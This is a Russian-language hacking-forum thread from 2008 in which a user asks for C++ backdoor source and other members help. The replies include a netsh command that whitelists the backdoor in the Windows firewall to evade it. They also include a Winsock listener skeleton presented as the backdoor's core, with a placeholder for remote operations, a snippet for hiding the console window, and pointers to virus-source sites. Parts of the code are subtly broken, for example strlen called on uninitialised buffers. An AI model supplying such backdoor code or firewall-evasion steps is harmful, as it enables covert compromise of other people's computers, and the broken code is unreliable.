ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.11.2008, 18:45
|
|
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме: 500748
Репутация:
137
|
|
backdoor на c++
Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.
В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.
Буду благодарен за любую помощь
|
|
|

22.11.2008, 18:47
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Купи книжку по операционным системам с уклоном на программирование.
|
|
|

22.11.2008, 22:04
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
Сообщение от ZET36
Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.
В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.
Буду благодарен за любую помощь
Написание клиент-сервер самое легкое.
Если хочешь написать хороший backdoor тебе придеться обойти firewall это уже довольно трудно,конечно если речь не идет о виндовс firewall-е =)
Его можна обойти вот таким вот способом :
Код:
netsh firewall add allowedprogram program="C:\PUT_BACKDOORU.EXE" scope=ALL name=Name_of_Backdoor_in_firewall_allowedprogram_list
Если пишеш на C или C++ то передай примерно такую строку функции system() и считай что ты общел виндовс firewall =)
|
|
|

23.11.2008, 00:50
|
|
Постоянный
Регистрация: 31.08.2007
Сообщений: 571
Провел на форуме: 1847821
Репутация:
953
|
|
куча доров на С++ на vx.netlux.org
|
|
|

23.11.2008, 00:58
|
|
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме: 500748
Репутация:
137
|
|
Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html
но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

|
|
|

23.11.2008, 01:03
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме: 3371897
Репутация:
1462
|
|
Сообщение от ZET36
Если есть исходники бэкдуров на C++ то тоже выложите.
https://forum.antichat.ru/thread55225.html
http://forum.antichat.ru/thread19146.html
-----------------
имхо, крайне тупая и бесполезная тема
|
|
|

23.11.2008, 01:07
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
error 10061: Подключение не установлено, т.к. конечный компьютер отверг запрос на подключение.
|
|
|

23.11.2008, 14:54
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
Сообщение от ZET36
Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html
но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

Привет.
Я вот никак не понимаю почему ты пишеш троянь с GUI ???
Скачай себе компилятор LCC-WIN32 - самый лучший вариант для написание бекдора,т.к. программы получаються довольно маленькими + не приходиться добавлять разные библиотеки как это делаеться в VC++.
Создай консольную программу,закинь туда такой код :
Код:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#define PORT 22222
int main(void)
{
struct sockaddr_in addr; // структуа где будет храниться наш локальный адрес
WSADATA wsd; // тут будет храниться информации о загруженном сокете
SOCKET ls,rs; // два сокет,один для принятии подключении другой для коммуникации с клиентом
char r_buf[1024],s_buf[1024]; // заниаем в памяти место с размером два килобайта.
int r_buflen;
if(WSAStartup(MAKEWORD(2,2),&wsd) == 0) // Загружаем виндовс сокет
{
// заполняем структуру для локального адреса
addr.sin_addr.s_addr = htonl(INADDR_ANY); //
addr.sin_port = htons(PORT); // Переводим константу INADDR_ANY и PORT внутренний формат
addr.sin_family = AF_INET;
ls = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); // создаем сокет,протокол TCP
if(bind(ls,(SOCKADDR*)&addr,sizeof(addr)) == -1) // соединяем локальный адрес с сокет
{
puts("Error : bind()");
}
if(listen(ls,3) != -1) // посылаем сигнал kernel-у, что мы готовы принимать соединения
{
rs = accept(ls,NULL,NULL); // а тут принимаем соединение
if(rs != -1)
{
r_buflen = recv(rs,r_buf,strlen(r_buf),0); // после принимаем данный от удаленного хоста
if(r_buflen != -1 && r_buflen != 0)
{
/* ТУТ ПРОВОДИМ СВОИ УЖАСНЫЕ ОПЕРАЦИИ НА УДАЛЛЕНОМ КОМПЕ =D */
/* И ПОСЫЛАЕМ РЕЗУЛЬТАТ КЛИЕНТУ,Т.Е. НА ТВОИ КОМП */
send(rs,s_buf,strlen(s_buf),0);
}
}
}
else
{
puts("Error : listen()");
}
}
else
{
puts("Error : WSAStartup()");
}
return 0;
}
После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так :
Код:
char h_name[128];
HWND h;
GetModuleFileNameA(NULL,h_name,strlen(h_name));
h = FindWindowA(NULL,h_name);
Только если эту прогу запустишь с помощью компилятора то окно не исчезнет,зайди в папку где ты сохранил прогу и запусти ее нормальнын способом.
|
|
|

23.11.2008, 16:00
|
|
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме: 500748
Репутация:
137
|
|
xismyname спасибо, правда гуглил, все ссылки битые. На офф сайте тоже нету http://www.cs.virginia.edu/~lcc-win32/lccwin32.exe .Можеш выложит пожайлусто?
|
|
|

23.11.2008, 16:06
|
|
Постоянный
Регистрация: 25.05.2007
Сообщений: 448
Провел на форуме: 4226446
Репутация:
1564
|
|
>> + не приходиться добавлять разные библиотеки как это делаеться в VC++.
хм почему-то я компилю как раз-таки в Visual Studio, там элементарно параметры проекта поменять и либ не будет лишних прилинковываться. конечно, если по дефолту все оставлять, то будете тащить либы с собой. и вообще там можно очень маленькие приложения создавать, если уметь настраивать. а так, конечно, просто сказать, что студия гавно
>> После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так
а я просто в настройках проекта подсистему меняла с CONSOLE на GUI (в студии, которыю вы неуместно пинаете). все лишний гимор себе создаете
Последний раз редактировалось 0x0c0de; 23.11.2008 в 16:13..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|